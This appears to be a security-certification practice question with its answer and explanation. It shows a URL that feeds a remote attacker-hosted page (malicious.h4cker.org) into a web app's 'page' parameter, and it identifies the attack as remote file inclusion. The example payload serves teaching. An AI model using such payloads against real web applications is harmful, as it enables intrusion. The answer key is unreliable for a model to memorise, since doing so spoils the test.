An attacker enters the following URL to exploit vulnerabilities in a web application: Which type of vulnerability did the attacker try to exploit?

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An attacker enters the following URL to exploit vulnerabilities in a web application:

http://192.168.47.8:76/files/fi/?page=http://malicious.h4cker.org/cookie.html

Which type of vulnerability did the attacker try to exploit?

directory traversal
cookie manipulation
local file inclusion
remote file inclusion

Explanation: A remote file inclusion (RFI) vulnerability occurs when a web application allows a user to execute code hosted on the attacking system. In this case, the attacker tried to run the web content on the attacker site.

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